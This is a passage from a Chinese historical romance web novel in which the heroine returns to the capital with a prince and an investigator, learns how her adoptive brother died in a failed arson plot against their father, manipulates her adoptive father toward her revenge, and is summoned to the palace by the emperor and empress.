他活了二十多年来,头一回对女子这般感兴趣。 他决定再试探试探。 “微臣见过永安王。”他下了车,冲谢翊宁行了一礼。 “裴大人,好巧啊,今日咱们又遇见了。”谢翊宁漫不经心地扫了他一眼。 晏逐星自觉地退后一步。 “王爷和裴大人有话要说,小女就先告退了。” “等等。”裴明镜和谢翊宁同时开口。 话音一落,两人都看向了对方。 谢翊宁先开口:“本王和裴大人不熟,没什么好说的。妖道之事,回京你上奏父皇即可。” 裴明镜看了他一眼:“微臣不是来找您的。” 而后又看向晏逐星。 “晏大小姐,我是来找您的。” “裴大人找我何事?”晏逐星脑海里飞快闪过了昨天发生的蛛丝马迹。 不是说了不抓她了么,怎么又来了。 “根据明妄供述,他还有一同伙叫明宵回乡去了,这两日就会回来。明宵手上沾过人命,是穷凶极恶之徒。因而我想请晏大小姐跟我一同回京。”裴明镜解释道。 谢翊宁勾唇:“裴大人无需操心此事,本王今日正好要回京,定远侯拜托本王顺路捎她一程,所以她今日会跟本王一起回去。你放心,本王一定要会将她平安带回去的。” “王爷您误会了。”裴明镜摇头。 “微臣是觉得晏大小姐武艺高强,她可以保护微臣。毕竟她能一剑就解决掉明真,想必明宵也不在话下。” “毕竟微臣的护卫已经快马加鞭将证据送回京了。如今我身边只有子平一人,恐怕不足以御敌。” “我扫荡了定慈观,明宵定然恨透了我,想要将我除之而后快。为了我的安全着想,我想与晏大小姐一块同行。” 谢翊宁:? 裴明镜莫不是还没放过晏逐星,打算从她身上再调查出什么蛛丝马迹好让她坐牢? 晏逐星:? 她是不是该谢谢裴明镜认可了她的武艺。 如果裴大人开的护送价格合理,她送他回京倒也不是不行。 停云:? 裴大人究竟是怎么样脸不红心不跳地说出这样的话的。 子平:? 大人,来之前可不是这么说的。 他明明也很强! 谢翊宁脸上的笑容变淡:“那恐怕要让裴大人失望了,晏大小姐先前已经答应与本王同行。” “那就更好了。微臣也想与王爷同行,想必跟随王爷的都是各种高手,就算来十个明宵也无需畏惧。”裴明镜面不改色地套近乎。 为了查案,他掏过耗子洞,挖过别人的坟,如今只是被永安王拒绝两句,算不得什么。 谢翊宁略一思索,点了点头,答应了下来:“裴大人可是国之栋梁,本王定不会让你受半点伤害,那你就随我们一块回京吧。” 他单独与晏逐星一块回京,即便只是顺路不再一辆马车上,日后也难免会有人非议。 带上裴明镜,正好。 晏逐星就更没什么意见了,不花钱的护卫,她有什么可拒绝的。 就是可惜了,没能挣到裴明镜的钱。 毕竟裴明镜身旁那个护卫看着就是个练家子,武艺不差,他非要找自己护送,肯定另有所图。 到时候肯定是那家伙主要负责保护裴明镜。 她糊弄糊弄,就能挣一笔钱,简直不要太幸福。 这时,双鲤也带着下人把收拾好的行李抬上了马车,一行人很快就出发了。 关万海急匆匆地领着家里人来给晏逐星送行。 关家的几个女儿也已经从爹娘口中得知了真相。 晏逐星压根不是她们的亲妹妹。 几人面面相觑,尤其是关月,直接尴尬得不想见人了。 因而便没有出来给晏逐星送行。 “关老爷,你回吧,有空我会再来通州探望你们的。”晏逐星冲他们挥了挥手。 裴明镜听着她的称呼,心念一动。 难不成,关万海并非她的生父? 可为何定远侯却大张旗鼓地宣扬此事? 定远侯夫人服毒自尽,大少爷忽然死于火场,会和这事有关吗? “好好好。有事你尽管往家里来信啊。”关万海冲她的马车挥了挥手。 晏逐星留意到了裴明镜思索的目光,唇角微微上翘。 按照裴明镜的性子,一旦发现了什么线索,一定会打破沙锅问到底。 到时候他查出真相,让他来揭穿关万海并非她生父,真是一个不错的选择。 定远侯恐怕要焦头烂额了。 晏逐星心情大好,关上了车帘,在车里支了个小炭炉,跟双鲤一块炒栗子吃。 这是那日除夕在街上学来的做法。 有个卖栗子的小贩,他家的栗子比旁的都要香甜,但也更贵。 旁人问起,他便大大方方地说了,他家的栗子加了糖,所以贵。 众人顿时恍然大悟。 毕竟,糖可是个精贵的东西。 除了糖,他还往锅里放了洗干净的圆润石子,混着一块炒,虽然不明白是什么道理,但是就是很好吃。 晏逐星原本是打算今日跟关家几位出嫁的女儿领回来的孩子,一块炒栗子玩的。 没想到最后竟然在马车上用来打发时间了。 小小的一锅很快就炒好了。 但是第一锅,晏逐星没把握好技巧,炒的有些焦糊。 她闻了闻,掰开一个尝了一口。 嗯,香味是够了,但味道不咋滴。 她把栗子给了双鲤。 “喏,送去给裴大人。” 双鲤瞪大了眼睛。 裴大人三番五次找茬,怎么还给裴大人送东西。 她没说话,晏逐星也从她的大眼睛里猜到了她的想法。 晏逐星嘿嘿一笑:“他忙着剥栗子,待会就没空来问东问西了。” 双鲤恍然大悟,冲晏逐星竖起了大拇指:“小姐真聪明。” 晏逐星吸取了教训,重新开始炒第二锅。 双鲤捧着栗子跑去找了裴明镜。 “裴大人,这是我家小姐做的炒栗子,您昨日查案辛苦啦。您尝尝,可香啦。” 裴明镜有些惊讶,晏逐星竟然主动给他送东西? “永安王那边可送了?”他下意识地问道。 “没呢,就给大人您送了。”双鲤说完也不管裴明镜会怎么想,直接跑走了。 前头的永安王之前就听说晏逐星生了炭火要弄吃的,随后又听到马车里窸窸窣窣的声音,现在嗅到了隐约随风传来的香气,心中好奇愈发旺盛。 忍不住开口吩咐:“你去问问,晏大小姐在弄什么东西的。” 停云应下,扭头就看到双鲤笑容灿烂地给裴明镜送吃的。 他顿时替自家王爷打抱不平了。 他家王爷为晏大小姐做了那么多事情,她做了吃的,竟然先给裴明镜送去了? 第120章 两人想不通 “你给他送的什么吃的?”停云拦住了双鲤。 “糖炒栗子。”双鲤回答完就爬上了小姐的马车,根本没给他继续追问的机会。 停云憋着一肚子的气回去汇报。 “哦,不过是糖炒栗子罢了,又不是什么稀罕物,本王什么好东西没吃过。”谢翊宁面无表情地将手里的棋子放到棋盘上。 “那能一样么。宫里的芙蓉酥送来,您第一时间就让人给晏大小姐送了去。如今她做了糖炒栗子,不说第一个给您送来,也该一人一份吧。”停云替主子鸣不平。 谢翊宁嗤笑:“本王只要独一无二的东西。区区糖炒栗子,雪团儿都不稀罕吃的玩意,送来扔了就是。” “这倒是。雪团儿金贵着呢。”停云赞同地点了点头。 雪团儿是王爷养的猫。 三年前西戎国使臣送来的,长毛蓝眼睛,看着特别讨喜。 后宫里好几个公主明里暗里说想要,皇上谁也没给,王爷不过是看了一眼,当天夜里猫儿连着养猫奴都送到王府来了。 现在在永安王府被养得白白胖胖,在王府的地位堪称一人之下万人之上。 谁都得宠着。 “不过……”停云还要说什么,谢翊宁就横了他一眼。 “你话那么多,是不是最近操练少了?” 停云立马闭嘴。 车内重新变得安静,谢翊宁有些心烦气躁。 不过是一盘糖炒栗子,停云怎么跟没见过世面似的,说说说个不停。 栗子是晏逐星的,她想给谁就给谁,有什么好说的。 可是他帮了她那么多,她怎么也不给他送点。 她明明不是那样不知感恩的人啊。 不止是谢翊宁,裴明镜也没想明白。 明明晏逐星和永安王看起来更熟络,怎么就只给了他,没给永安王呢? 难不成她怕他出尔反尔,还用明真的死威胁她? 他岂是那样的人。 “子平,你说她意欲何为?”裴明镜想不出来,干脆询问起贴身近卫。 “是想拉近关系,还是有事相求?” 子平摇了摇头:“属下不知。会不会人家只是单纯地给您送点吃的呢?” “那为什么不给永安王送?”裴明镜又问。 “说不定待会就送了呢。”子平有些无奈。 他家大人什么都好,就是太爱想太多。 或许这就是聪明人的通病吧。 一件简单的事情,也能想得很复杂。 裴明镜听到这话,沉默地退回了马车里。 这时,最前头永安王的马车停下了。 “前边有积雪,挖通了再继续走,诸位请稍安勿躁。” 停云回头转告了众人。 晏逐星第二锅糖炒栗子正好出炉。 “不错,这锅很完美。”她嘿嘿一笑,想让双鲤去给永安王送栗子。 但想了想,还是决定自己去。 她去比较能体现对王爷的重视。 说干就干,晏逐星拿着糖炒栗子敲响了谢翊宁的车窗。 “何事?”谢翊宁冷冷的声音从车里传了出来。 “我做了糖炒栗子,给王爷送些。”晏逐星笑眯眯地开口。 谢翊宁沉默了,没说话。 一旁的停云站出来替主子发声:“我家王爷不吃栗子。” “哦,这样啊,那太可惜了。这锅炒得比上锅好多了,我特意给王爷选的呢。”晏逐星低声嘟囔了一句。 车内耳尖的谢翊宁听到“特意”二字,嘴角不自觉上翘。 他“欻”一下打开车窗。 “给我吧。” 晏逐星有些惊讶:“您不是不吃栗子么?” “停云记错了。”谢翊宁警告地看了一眼正欲张口的停云。 停云:“……” 刚刚是谁说的送来就扔了? “那可太好了。”晏逐星眼睛亮晶晶的看着谢翊宁,将栗子双手递了过去。 “王爷您尝尝吧,味道真的不错的。” 谢翊宁接过,剥开了一颗,点点头:“确实不错。晏大小姐好手艺。” “那是。”晏逐星骄傲地抬起了下巴。 说完又觉得自己这样太张扬了不好,又改口:“也还行吧,和那些老手艺人肯定没法比了。” 谢翊宁脸上的笑意更浓了。 “倒也不必如此自谦,你做得就是很好呀。” 而后他剥开了一个栗子,状似无意地询问:“你不给裴大人送点栗子么?” “先前送过啦。”晏逐星说完,有些心虚地摸了摸鼻子。 “只是那锅都炒糊炒焦了,希望裴大人不要介意。” 谢翊宁心底那点不开心总算烟消云散了。 “天冷,你快回马车上等着吧,雪挖通了,约莫还有两刻钟就能入京了。”他说完顺手又将桌上的几个冻梨给了晏逐星。 “这梨很甜,据说是林知州夫人娘家的珍藏,你也尝尝。” “多谢王爷。”晏逐星没有推辞。 她知道谢翊宁财大气粗,最不喜欢推推拉拉了,因此果断收下,高高兴兴地回了自己的马车。 谢翊宁目送她离开,而后将目光落到了裴明镜马车的方向。 没想到,裴明镜竟然也下了马车。 先前他和晏逐星闲聊的一幕,恐怕也被他看到了。 谢翊宁笑容灿烂地晃了晃手中的栗子,算是跟他打了招呼。 裴明镜握着手中有些焦黑的栗子,一言不发。 一旁的子平偷偷看了自家大人一眼。 他就说了吧,那位晏大小姐怎么可能一碗水不端平,给他家大人送了,肯定也会给永安王送的。 很快,雪路就被挖通了。 停云重新上了马车。 他看着炒的香喷喷的栗子,忍不住咽了咽口水。 谢翊宁看到他的目光,将栗子默不作声地挪到了离自己最近的位置。 停云:“……” 谢翊宁吩咐道:“待会入京了,你再去街上买些糖炒栗子,让大家都尝尝。” 停云无奈应声:“是。” 两刻钟后,一行人顺利抵达京城。 “裴大人,都入京了,就不需要本王送你了吧?”谢翊宁看向了裴明镜。 “多谢王爷护送,微臣感激涕零。”裴明镜没有再跟着他们,他得速速将“定慈观一案”整理好汇报给皇上。 “多谢王爷……”晏逐星也正准备告辞,就听到谢翊宁打断了她的话。 “送佛送到西,本王答应了定远侯捎你一程,自然该将你送回侯府再走。” “那就劳烦王爷了。”晏逐星没再拒绝。 抵达定远侯府时,管家林平正急匆匆地领着一个大夫回府。 “林管家,可是府中出什么事了?”晏逐星赶忙叫住了他。 林平瞧见晏逐星,瞪大了眼睛:“大小姐,您怎么回来了?” 而后又看到了一旁的永安王府马车,赶忙又冲谢翊宁的方向行了一礼。 “小的见过王爷。” “究竟出什么事了?”晏逐星十分好奇,林管家神色匆匆请来大夫,是给谁治病。 林管家有些为难地看了谢翊宁一眼,支支吾吾道:“老爷因为夫人和大少爷去世,病倒了。” 晏逐星觉得不太对劲。 按照定远侯那么惜命的性子,病了怎么可能不请太医,反倒去请一个大夫。 莫不是装病? 但看林管家的神色,这个时候恐怕也问不出什么东西来。 她便没有拦着他:“既是如此,你快将大夫领进府吧。” “诶。”林管家松了一口气,赶忙把人带了进去。 晏逐星看向了谢翊宁。 “王爷,侯府如今正值丧期,诸事纷乱,不便请王爷入内奉茶,还请王爷海涵。” “嗯,你回吧。”谢翊宁自然不会怪罪她,果断地就走了。 晏逐星命人将她的行李搬回玉澜院,正好换件衣裳,再去拜见定远侯。 “小姐,您可算回来了。”瞧见她,衔蝉和九栀都高兴地迎了上来。 晏逐星笑着让双鲤把在通州买的特产都拿出来给他们分了。 而后询问衔蝉:“府里究竟发生了什么事,侯爷得了什么病?” “侯爷没病,是被舅老爷打的。”衔蝉一句话让双鲤瞪大了眼睛。 “侯爷挨打了?”她兴冲冲地凑了过来,特产也不分了。 衔蝉把事情的来龙去脉说了一遍。 “舅老爷是今日清晨抵达的,刚来就得知大少爷也没了,气得把侯爷给揍了一顿。侯爷如今鼻青脸肿着呢。” 晏逐星恍然大悟。 怪不得定远侯没让请太医,是怕这事传出去丢脸啊。 太医哪有大夫好威胁。 晏逐星更衣结束,将衔蝉和双鲤支走,只留下了九栀。 她问出了自己最关心的问题:“晏明远究竟是怎么死的?” 按照她的计划,晏明远不该死得那么早呀。 第121章 晏明远之死 “您离开的第二日,大少爷就去推了阮姨娘,害得她腹中的孩子差点没了。侯爷一怒之下,请了家法,抽了他三十下,后来又让他去祠堂闭门思过。” 九栀将事情娓娓道来。 晏明远被关到祠堂之后对定远侯彻底失望了,竟然生出了弑父的念头。 他命小厮将李氏找来,以他继承侯府后保住李氏一家荣华富贵为由,说服了李氏替他买来桐油。 他要纵火,将定远侯骗到祠堂来,烧死。 李氏深知夫人死了,她的命肯定也保不住,于是决定铤而走险,听晏明远的赌一把。 除夕当天采买送礼的车来来往往,因而李氏买来桐油并没有被发现。 将祠堂洒上桐油后,堆上易燃之物后,晏明远让心腹小厮去把定远侯请来。 定远侯想到今夜除夕,晏明远又是他唯一的儿子,还是决定去见他一面,和他一块吃一顿团圆饭。 不曾想,进到祠堂后,定远侯就闻到了桐油的气味。 他正疑惑着,李氏就从背后举着木棒偷袭他,想要将他打晕。 但定远侯到底是习武之人,虽然疏于练习,但躲闪一个妇人的攻击还是没问题的。 李氏为了晏明远画的大饼,发了疯的去殴打定远侯,喊着要为夫人报仇。 定远侯当即叫人进屋把李氏给抓起来,没想到,晏明远的心腹却早早地把门给锁上了。 大怒之下,定远侯把李氏给踹翻了。 晏明远直接点燃了地上的桐油,趁着李氏和定远侯没反应过来,就往窗户外爬,打算逃出去后锁死窗户,让定远侯和李氏都烧死在里边。 李氏没想到晏明远竟然出尔反尔,将她单独留下,立刻扑了过去想要留下他。 晏明远本就受了伤,跑得慢,李氏这一扑,两人全都栽到了火里。 这时定远侯的人也破门而入,将他救了出去。 定远侯对晏明远彻底心寒,直接命人抢救祠堂里的祖宗排位,晏明远直接被忽视了。 然而火势汹汹,最后祠堂没保住,晏明远和李氏也葬身于火海。 晏逐星听完目瞪口呆。 她完全没有料到事情会是这个走向。 看来母亲和弟弟的死,刺激了晏明远。 而她说的那些话,还有阮寄薇演的那出戏都让晏明远越来越崩溃。 定远侯请的家法则成了压垮他的最后一根稻草。 他扛不住了,想要弑父求一条活路。 冲动之下,做了一个很仓促的决定,最后活活将自己给烧死了。 “那温家来的是谁,又是怎么和定远侯打起来了?”晏逐星好奇地追问。 “来的是温家三老爷,温如珲。”九栀一字不落地将事情汇报。 温如珲抵达定远侯府后,得知不仅妹妹死了,两个外甥都死了,当即就控制不住把定远侯给揍了一顿。 就算定远侯解释温如霜之死是因为晏逐星生父生母找来,她畏罪自杀;晏明远是因为纵火烧祠堂自作自受;晏明修是被昭瑞亲王府害死的也没用。 因为温如珲压根就不信。 他心里就认定了定远侯杀妻灭子。 得知只有温如珲一人来了,晏逐星心下稍安。 如今她的仇人只剩定远侯一人,倒是不必着急。 先留他一命,让他把温家人应付走了再说。 之后再找一个好机会,让他到地底下跟其他人团聚。 一家人嘛,最重要的就是整整齐齐啦。 晏逐星起身去了正院。 路上,她酝酿好了情绪,刚一看到定远侯,眼泪就哗啦啦地往下落。 “父亲,您怎么伤得如此严重?” 瞧见晏逐星这副担心的模样,定远侯心里勉强有了几分慰藉。 短短几个月,他竟然不知不觉地就走到了家破人亡的地步。 晏家究竟得罪了什么人,落得如此下场。 “无妨,你怎么回来了?”定远侯有些疑惑。 他并没有派人去接她呀。 “裴大人昨日去通州查案,告诉我大哥没了。”晏逐星继续抹眼泪。 “我既担心又害怕。二妹妹和二哥才走没多久,母亲又病逝了,如今大哥竟然也身故离去,父亲您哪里承受得了这样的打击。” “我心急如焚。因而今日便跟着永安王还有裴大人的马车,一块回来了。” “好孩子,你有心了。”听到她这番话,定远侯老怀安慰。 “不过大年初一,裴明镜去通州查什么案子?” 定远侯嘀咕了起来。 不会是发现他找来的关家夫妇是冒牌货了吧。 晏逐星便把定慈观的案子模糊了一些情节告诉了他,着重强调了昭瑞亲王府让明妄用邪术害定远侯府家破人亡的事情。 “您说,咱们家接二连三出了那么多事,会不会真跟那些邪术有关?父亲,下一个不会是您吧。” 晏逐星一句话让定远侯猛地从床上爬了起来。 “欺人太甚,实在是欺人太甚啊!我要去告御状,告到皇上面前去!” 他一瞬间就信了晏逐星的话,将侯府这些日子来出的人命,全都算到了谢清安和明妄的头上。 毕竟,让别人来承担错误,总比自己去背罪名的好。 “可十六之前,皇上都不上朝呀。”晏逐星提醒。 定远侯也想起了这事。 大虞的年假是从大年二十九放到正月十六。 除了特别紧急的案子,还有皇上喜爱的臣子,一般人这段时间都见不到皇上。 偏偏他两个都不占。 尤其是他如今家中尚在孝期,就更不能入宫了。 定远侯气得咬牙切齿,琢磨着该怎么告状,偏偏这时候温如珲还找过来在院子里大吼大叫。 “晏逐星,滚出来。” 晏逐星听到这话,有些惊讶。 怎么还有她的事? 她没惹他吧? 见屋子里没人应声,温如珲又怒吼:“若不是你从中挑拨,明远又怎么会死,你给我滚出来以死谢罪。” 晏逐星恍然大悟。 原来是因为这个呀。 她可怜巴巴地看向了定远侯:“父亲,我刚回家,还不曾见过温家小舅舅。他怎么就要对我喊打喊杀了?” “难不成如今定远侯府已经是温家舅舅做主了?” 这话戳中了定远侯内心深处最敏感的地方,他当即大怒:“怎么可能。我还没死呢。” 他立刻命长随将护卫叫来,晏逐星搀扶着他出了门。 “温如珲,你先前揍了我,我可以体谅你失去妹妹一时情难自禁,可如今,你凭什么让我女儿以死谢罪?”定远侯有护卫在一旁护着,骂人的气势更足了。 “我问过明远的小厮了,明远去推你那个姨娘之前,单独见了这个贱人。若不是她挑拨离间,明远怎么可能犯下那样的错。”温如珲看着晏逐星的眼神几乎要喷火。 来之前,大嫂和韫儿就已经嘱咐过他了。 晏逐星可不是一个省油的灯,要他务必留心这个小丫头,不要着了他的道。 因而先前他拷问晏明远小厮时,着重问了晏明远与晏逐星之间是否发生了什么。 得知晏明远给晏逐星送行时两人单独聊过一会儿,晏逐星走后晏明远就变得神思恍惚。 温如珲顿时将一切都怪到了晏逐星头上。 他坚信,一定是晏逐星说了什么,不然晏明远好端端的,怎么会去攻击一个姨娘。 “晏鸿升,她害死了你儿子。一个养女,一个亲子,孰轻孰重,难道你分不清吗?”温如珲厉声质问。 定远侯如今最害怕提起的就是晏明远的死。 毕竟晏明远是他故意让人没有施救,放任他被烧死的。 午夜梦回,他梦里总会听到晏明远在叫救命。 “住嘴!明远的死与星儿无关,一切都是昭瑞亲王府的错!你若有本事,便找他们报仇去!”定远侯将矛头对准了谢锦程一家。 他把晏逐星告诉她的,明妄与昭瑞亲王府的交易说了出来。 温如珲听到这话,心里怒火烧得愈发旺盛。 “你休要胡说!你为了给这个死丫头脱罪,真是什么话都能说出来。”他压根不信鬼邪秘术之言。 “舅舅若不信,可以去问裴明镜裴大人,此事是他查出来的。”一旁的晏逐星终于开口说了第一句话。 不得不说,裴明镜的名声还挺好。 听到是他查出来的,温如珲竟然信了几分。 “你最好说的是真的。若我查出你和明远的死有什么关系,我要你给他偿命。”温如珲沉着脸离开。 他上午打定远侯泄愤还情有可原,如今却不能再来一次。 他要给大哥写信,让大哥快点来京城。 想到惨死的妹妹和外甥,温如珲攥紧了拳头。 他一走,定远侯就看向了晏逐星。 “星儿,那日你大哥给你送行,你究竟说了什么让他那样魂不守舍,第二日就去找了阮姨娘的麻烦?” 他的目光里,带着审视与探究。 晏逐星张口就来:“大哥质问我,母亲刚刚去世,我就离开侯府去跟亲生父母一块过年,我还有没有良心。” 说到这,她抽泣了起来。 “我说我都听父亲安排,若父亲让我留下,我就留下,父亲让我回家,我就回家。毕竟父亲才是侯府当家做主的人。” 这句话很好的取悦了定远侯。 “那他又怎会魂不守舍?”他虽然还在追问,但语气已经和善了几分。 “大哥不停地数落我,我没忍住就跟他顶嘴了。我说……”晏逐星吞吞吐吐,故意卖关子。 “说什么?” “我说,有本事你当上了侯府的主人再来管教我,我现在就听父亲的。说完我就走了。父亲,我真不是故意的,我只是当时太生气了,我没想到大哥会去伤害阮姨娘肚子里的弟弟。”晏逐星故意示弱,哗哗的流着眼泪。 定远侯这下完全相信了她。 “嗯,不怪你,是你大哥心思狭隘。” 晏逐星回府第一关,总算是过了。 * 裴明镜回到京城,并未第一时间回国公府,而是去了京兆府。 他要将这事完整的梳理好,呈到御案之上。 忙活到了太阳落下,他才回国公府。 刚回到家,就母亲的丫鬟给请到正院去了,说有要事相商。 窦淑荣坐在椅子上,手里绞着帕子,一颗心七上八下的。 儿子太有主见也不是什么好事。 也不知道待会说的事,他能不能同意。 第122章 没那么清白 “母亲寻我何事?”裴明镜面无表情地询问。 自打上回他将母亲安排的小厮遣送走后,母子二人之间就多了一抹若有似无的隔阂。 窦淑容一阵心酸。 她挤出一抹笑:“我儿辛苦了,快快歇下。如今大年初二,文武百官都在休息,怎么就你那么忙呀。来,尝尝,娘命人做了煨鹿筋和炖鹿脯,特意给你留着呢。” 而后赶紧示意丫鬟将温热的饭菜端上来。 裴明镜没有拒绝母亲的好意,坐下用饭。 窦淑容松了一口气,笑呵呵地陪他一块用膳。 她早早就吃过了,如今不过是尝几筷子就放下了。 她观察着裴明镜的神色,见他心情似乎还不错,开口道:“明镜,你也二十有一了,翻过年去,就要二十二了,也该成家了。” 裴明镜夹着菜的筷子一顿,眉头微皱:“不急。” “怎么不急。你看看景王,比你大一岁,如今孩子都会走路了。你不急,娘也急呀。”一说到这,窦淑容就急了。 原本她是想慢慢挑的。 但晏逐星的出现,让她产生了危机感。 生怕儿子真把那个丧门星给娶回家。 “我如今没有成家的打算,您不必着急。”裴明镜想着堆在案几上的那些悬案,压根没心思成婚。 “你是没有成家的打算,还是心里有人不愿让我给你相看!”窦淑容的怒火一瞬间就压不住了。 裴明镜放下了筷子,皱眉看向她:“母亲说的什么话。我心里能有什么人?” “那个小狐狸精,在京城勾引你还不够,去了通州,还让你眼巴巴地追上去,她到底有哪里好的?!”窦淑容提起这事就气炸了。 儿子昨日大年初一就急着出城,说是去通州查案,结果晏逐星就在通州。 今日更是他们一块回的京城。 光是想象一下晏逐星嫁到国公府之后的猖狂样子,窦淑容心里就怄得要死。 窦淑容斩钉截铁地开口:“总而言之,你娶谁都行,就是不能娶晏逐星。” “母亲您在胡说什么,我们之间分明清清……”裴明镜可没想到母亲竟然还把他和晏逐星联想到一块。 脑海里一瞬间闪过晏逐星杀人,而他选择替她隐瞒的场景。 他忽然觉得他们之间好像又没那么清白了。 他倒是又一次替她徇私了。 见他说到一半说不下去,窦淑容气得猛地一拍桌子。 “我不管,你若敢娶她,我就死给你看。” 裴明镜被母亲放出来的狠话给震住了。 见他不说话,窦淑容哭出了声:“你是独子,绵延子嗣是你的职责。你怎么能迟迟不成婚呢!” “你若成婚有了后,我也算对得起你死去的父亲,对得起裴家的列祖列宗了。” “日后,你忙你的案子,娘在家含饴弄孙,也算有个盼头呀。” 听她提起亡父,裴明镜沉默了。 窦淑容见他有所松动,再接再厉:“福安郡主去岁及笄一直没有定下人家,我请陈夫人探了探朝华大长公主的口风,大长公主对你十分满意。过两日你随我一块进宫给太后请安,顺便见见福安郡主。” “太后许久未见你,惦记得很。你若对福安郡主不满意,也可以请太后她老人家替你做主。” 最后这句话,窦淑容说得不情不愿的。 太后选的儿媳妇,她是一个都不满意。 那些人日后只会讨好太后,哪里会把她这个婆母放在心上。 “一切都听您的安排吧。”裴明镜放弃了和母亲争辩。 就像母亲说的,他也是时候该成婚了。 为裴家传宗接代,是他身为嫡子的职责。 他没办法逃避。 “明镜,你别生娘的气……”见他答应,窦淑容放软了语调,摆低姿态哄人。 但裴明镜却不给她机会。 “母亲,我累了。我要歇息了。”裴明镜说完起身就离开了。 窦淑容知道他不高兴,但也没有放在心上。 儿子每回都这样,但他从来不会真的生她的气,反正过几天他自己就会调整好了。 她现在只想着过两日和福安郡主相看的事情。 也不知道,福安郡主好不好生养,能不能听话。 想到这,窦淑容就有些烦躁。 若不是京城里门当户对的小姑娘都嫁了人,她也不会考虑福安郡主。 福安郡主李柔嘉可是朝华大长公主的掌上明珠,自小就是娇生惯养着长大的。若是她语气重了些,恐怕福安郡主就要回娘家告状了。 不过福安郡主的祖父李崇简乃是当世大儒,桃李满天下,他的门生遍布朝堂。 与他们结亲,对儿子只有好处没有坏处。 想到这,窦淑容又觉得这门亲事也不是不行。 再说了,上回见面,福安郡主看起来也是个乖巧柔顺、规规矩矩的,嫁过来应该不会闹腾出什么事情…… 翌日。 裴明镜入宫将定慈观一案仔细汇报给了文昭帝。 文昭帝勃然大怒,竟然还有这样的事情,当即下令整顿大虞朝的寺庙和道观。 若再发现这样的事情,格杀勿论。 至于勾搭邪道的谢清安,步了儿子的后尘,也被贬为了庶人。 待到昭瑞亲王逝世后,他们全家就得搬出王府了。 定远侯得知此事,恨不得放几串鞭炮庆祝。 他找到温如珲,露出了悲伤的表情:“二舅兄,你都听说了吧,就是他们找人做局,害了我的夫人和孩子,我和他们势不两立。你可别被人挑拨了,恨错了人呀。” “我去找裴明镜问过了,谢清安只是找了明妄做法毁了明修的魂魄,但做法害人之事,还未来得及开始就被发现了。你休想撇清害死如霜和明远的责任!”温如珲压根没被他的话带偏。 两人再次不欢而散。 温如珲要守着妹妹的尸体等兄长来了再下葬,定远侯则声称要让温如霜早日入土为安。 两人争执不下,谁也说服不了谁。 定远侯又不好强行安葬温如霜,还不能赶走温如珲,气得一肚子的气,整日阴沉着一张脸,侯府上上下下胆战心惊。 直到一道圣旨,打破了侯府的暴风雨之下的宁静。 第123章 晏逐星入宫 “皇上有旨,请晏大姑娘入宫。” 听到圣旨,晏逐星有些懵。 皇上让她进宫做什么? 直到宣读完圣旨,晏逐星才恍然大悟。 原来是为了“定慈观”的案子呀。 但旋即她又有些疑惑,裴明镜不是把所有事情都呈报上去了么,还问她做什么。 难不成裴明镜还是把她杀人的事情抖露到皇上面前了? 不止她疑惑,定远侯和温如珲也很疑惑。 但是当着他们的面,晏逐星没有表现出来。 她淡定地让衔蝉替她更衣,而后领着她一块进宫了。 定远侯一肚子的话想问,但又不敢耽误她进宫,只得咽了回去,打算等她回来了再问。 有衔蝉跟在身边,晏逐星没那么紧张了。 她原以为要在御书房外等候皇上的召见,没想到,掌事公公直接将她领去了未央宫。 文昭帝和崔皇后,正端坐在椅子上满脸笑意。 晏逐星不敢放松警惕,规规矩矩地行了一礼。 “臣女参见皇上,参见皇后娘娘。” “不必多礼,快快坐吧。”崔皇后笑容越发和善。 “上回冰嬉宴一别,本宫还想召你入宫陪我说说话来着,只可惜你家中忽然遭难,不方便叫你入宫。可叫本宫惦记了许久。” “关于定慈观的案件,皇上今日正好有事要问你,本宫便央求了皇上,让你到未央宫来说,你不必紧张。” 原来如此。 晏逐星恍然大悟。 “能得娘娘记挂,是臣女的福分。”她规规矩矩地回答,丝毫不漏半点错处。 “不必拘束,就当是与家中长辈闲谈。坐吧。”文昭帝也开口示意她坐下。 晏逐星这才谢恩,落座。 崔皇后轻轻用手指捅了文昭帝的腰一下,文昭帝轻咳两声,想起了正事,赶忙道:“你给朕说说,那日究竟发生了什么,永安王为何会出现在通州?” 晏逐星一瞬间有些发懵,永安王可是他们的儿子,他为什么去通州,难道不该是他们这当父母的更清楚吗。 但她没敢多嘴,循着记忆把谢翊宁那日说的话转达了出来。 “王爷听闻通州有一妖道要用邪术害皇上,所以亲自前去查探。此事祸乱朝纲,必须要严查。” 文昭帝和崔皇后对视一眼,都忍不住在心底“啧”了一声。 小石头什么时候这么热衷于政事了,分明是为了找借口去见这位晏大姑娘。 晏逐星不敢乱看,一直低头喝茶,生怕触怒了天底下最尊贵的两个人。 “然后呢?去了之后,他和你说了什么呀。听说你们还是一块回京的?”崔皇后等不及皇上发问,自己就问了起来。 “没说什么,王爷问的都是案件有关。”晏逐星生怕他们误会,赶忙强调。 “臣女并未与王爷单独相处,都是有裴大人在的,护卫丫鬟们也都在一旁伺候着,说的都是案情。” “这样啊。”崔皇后的声音听起来似乎有些遗憾。 晏逐星不知道她的遗憾从何而来。 “小石头也真是的……”崔皇后无奈地看向皇上。 儿子不开窍,眼前的小姑娘似乎也没开窍。 “母后,您又在说儿臣什么坏话呢。”谢翊宁的声音从殿外传来。 晏逐星扭头望去,瞧见他怀里抱了一只雪白的猫,赶忙行礼。 “参见王爷。” “不必多礼,晏大小姐可否替我照看一会雪团儿,陪她到御花园玩一会儿吧。”谢翊宁瞧见了她眼里的好奇,将猫递给了她。 “好。”晏逐星正想抱一抱这乖巧的猫儿,毫不犹豫地答应了下来。 她小心翼翼地接过雪团儿,这猫没有乱动,乖巧得很,蹭了蹭她,而后自己在她怀里找了个舒服的姿势窝成一团,打起了呼噜,看起来十分喜欢她的样子。 晏逐星又惊又喜地看向谢翊宁。 谢翊宁揉了揉小猫的脑袋,笑道:“这小东西乖得很,不必担心她伤着你。” 晏逐星一扭头,就瞧见了皇上和皇后笑眯眯的看着她和谢翊宁。 她有些不解,但还是乖巧地抱着猫行礼告退:“皇上,皇后娘娘,臣女就先替王爷照顾雪团儿去了。” “去吧去吧。”崔皇后笑着让她离开了,还拨了两个宫女到外边照看她。 晏逐星一走,谢翊宁就板着脸看着帝后二人。 “好端端的,父皇母后,你们把她叫到宫里来做什么?” “怎么,朕还不能召见一个小丫头来陪朕聊聊天了?”文昭帝故意逗弄小儿子。 “不是,父皇,你一个都快年过半百的老头和人家小姑娘有什么话好聊的。”谢翊宁狐疑地盯着父皇。 总觉得他肯定怀有别的心思。 文昭帝没好气地伸手敲了一下他的脑袋。 